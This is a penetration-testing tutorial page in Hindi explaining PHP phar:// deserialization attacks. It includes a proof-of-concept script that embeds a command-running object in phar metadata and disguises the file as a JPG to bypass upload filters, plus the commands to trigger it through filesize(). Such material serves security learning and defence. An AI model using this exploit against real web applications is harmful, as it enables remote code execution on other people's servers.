phar:// deserialization

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

Phar फ़ाइलें (PHP Archive) serialized format में मेटा डेटा contain करती हैं, इसलिए, जब इसे पार्स किया जाता है, तो यह metadata deserialized होती है और आप PHP कोड के अंदर deserialization भेद्यता का दुरुपयोग करने की कोशिश कर सकते हैं।

इस विशेषता के बारे में सबसे अच्छी बात यह है कि यह deserialization तब भी होगी जब PHP फ़ंक्शन का उपयोग किया जाए जो PHP कोड को eval नहीं करते जैसे कि file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()

तो, एक स्थिति की कल्पना करें जहां आप एक PHP वेब को किसी मनमाने फ़ाइल का आकार प्राप्त करने के लिए phar:// प्रोटोकॉल का उपयोग कर सकते हैं, और कोड के अंदर आपको निम्नलिखित के समान एक class मिलती है:

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

आप एक phar फ़ाइल बना सकते हैं जो लोड होने पर इस क्लास का दुरुपयोग करके मनमाने कमांड चलाएगी जैसे:

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

ध्यान दें कि JPG के जादुई बाइट्स (\xff\xd8\xff) को phar फ़ाइल की शुरुआत में जोड़ा गया है ताकि संभावित फ़ाइल अपलोड प्रतिबंधों को बायपास किया जा सके।
test.phar फ़ाइल को इस प्रकार संकलित करें:

php --define phar.readonly=0 create_phar.php

और कमजोर कोड का दुरुपयोग करते हुए whoami कमांड चलाएँ:

php vuln.php

संदर्भ

Sonar blog | Sonar

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें